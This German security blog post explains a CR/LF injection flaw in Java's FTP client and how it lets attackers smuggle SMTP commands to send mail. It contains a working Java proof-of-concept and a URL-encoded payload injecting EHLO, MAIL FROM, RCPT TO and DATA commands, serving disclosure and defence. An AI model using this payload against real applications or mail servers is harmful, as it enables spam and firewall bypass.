Java-Injection erlaubt Mails per FTP
|
Der Angriff im Detail
Die Implementierung des Verbindungsaufbaus zum FTP-Server mithilfe von Java kann hier nachgeschlagen werden: sun.net.ftp.impl.FtpClient (http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/net/ftp/impl/FtpClient.java). Um sich am FTP-Server zu authentifizieren, fügt man den Nutzernamen und das Passwort in die URL (z.B. ftp://user:password@host:port/file.ext) ein. Daraufhin wird der FTP-Client das USER-Kommando ausführen.
Genau hier kommt der Bug zum Tragen: Ein Angreifer kann die URL so manipulieren, dass FTP-Kommandos injiziert werden, da die Java-Anwendung nicht die Syntax des Benutzernamens überprüft. Im RF 959 File Transfer Protocol (FTP) (https://tools.ietf.org/html/rfc959) wird beschrieben, dass der Benutzername aus einer beliebigen Sequenz von maximal 128 ASCII-Zeichen mit Ausnahme von <CR> (Carriage Return) und <LF> (Line Feed) bestehen kann. In der Implementierung wurde jedoch vergessen die Präsenz von <CR> und <LF> zu überprüfen.
Dies bedeutet, dass wir, wenn wir %0D%0A irgendwo im Benutzerteil der URL (oder dem Passwortteil, das wäre ebenfalls möglich) setzen, den Befehl USER (oder PASS) beenden und somit einen neuen Befehl in die FTP-Sitzung einspielen können.
Wenn also ein Angreifer ein USER-Kommando an einen Mail-Server anstatt an einen FTP-Server ausführt, wird mit einem Fehlercode geantwortet, da USER kein gültiger SMTP-Befehl ist. Die Session bleibt jedoch erhalten. Kombiniert man diesen Bug mit SMTP-Befehlen, kann der Angreifer E-Mails versenden.
Folgendes Beispiel zeigt, wie ein Angreifer die Sicherheitslücke ausnutzen kann:
import java.net.*;
import java.io.*;
public class FTExample {
public static void main(String[] args) throws Exception { URL web = newURL(
„ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Ca%40hack.org%3E%0D%0ARCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0ADATA%0D%0AFrom%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@test.de:25/a„);
URLConnection www = web.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
www.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}}
Zur besseren Lesbarkeit hier der kritische URL-Aufruf entzerrt:
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Ctest%40hack.org%3E%0D%0A
RCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0A
DATA%0D%0A
From%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A
.%0D%0A
QUIT%0D%0A
:a@test.de:25/a“
Wenn nun sun.net.ftp.impl.FtpClient diese URL zur Verbindung verwendet, werden folgende Kommandos an den Mailserver test.de ausgeführt:
USER a<CR><LF>
EHLO a<CR><LF>
MAIL FROM:<test@hack.org><CR><LF>
RCPT TO:<test@itc.de><CR><LF>
DATA<CR><LF>
From: test@hack.org<LF>
To: test@itc.de<LF>
Subject: test<LF>
<LF>
test!<LF><CR><LF>
.<CR><LF>
QUIT<CR><LF>
Java gibt zwar eine Fehlermeldung aus: sun.net.ftp.FtpLoginException: Invalid username/password. Dennoch wird die E-Mail versendet. Der Wiresharkausschnitt verdeutlicht das:
Auswirkungen & Gegenmaßnahmen
Mit dieser Schwachstelle kann der Angreifer problemlos den Mailserver manipulieren, um z.B. Spam-Mails zu versenden. Als Gegenmaßnahme hilft aktuell nur Java zu deaktivieren bis ein Update vom Hersteller zur Verfügung gestellt wird.
Quellen:
https://www.heise.de/security/meldung/Luecken-in-Java-und-Python-umgehen-die-Firewall-3632906.html
https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/
http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html
Bild: ©iT-CUBE SYSTEMS AG 2017
Schreibe einen Kommentar
- Daten aus Formularen und Webseiten-Tracking können von uns zur Analyse gespeichert werden
- Die Daten können zur Optimierung der Webseite ausgewertet werden. Das ermöglicht es uns, besser zu verstehen, wo das Interesse unserer Besucher liegt. Wir benutzen primär Hubspot für dieses Tracking (mehr dazu finden Sie in der Erklärung auf unserer Datenschutzseite, siehe unten)
- Wir geben Ihre Daten nicht an Dritte weiter. Im Rahmen von Veranstaltungen, an denen Sie teilnehmen möchten, kann es nötig sein, dass Ihre Daten an Vertragspartner übermittelt werden.
- Sie haben jederzeit ein Recht auf die Herausgabe, Berichtigung oder Löschung persönlicher Daten.
- Sie können Ihre Einwilligung, mit uns in Kontakt zu treten, jederzeit mit sofortiger Wirkung widerrufen.
Weitere Details dazu, was wir mit den Daten tun und nicht tun finden Sie auf unserer Datenschutzseite, oder schreiben Sie mich bei Fragen direkt an!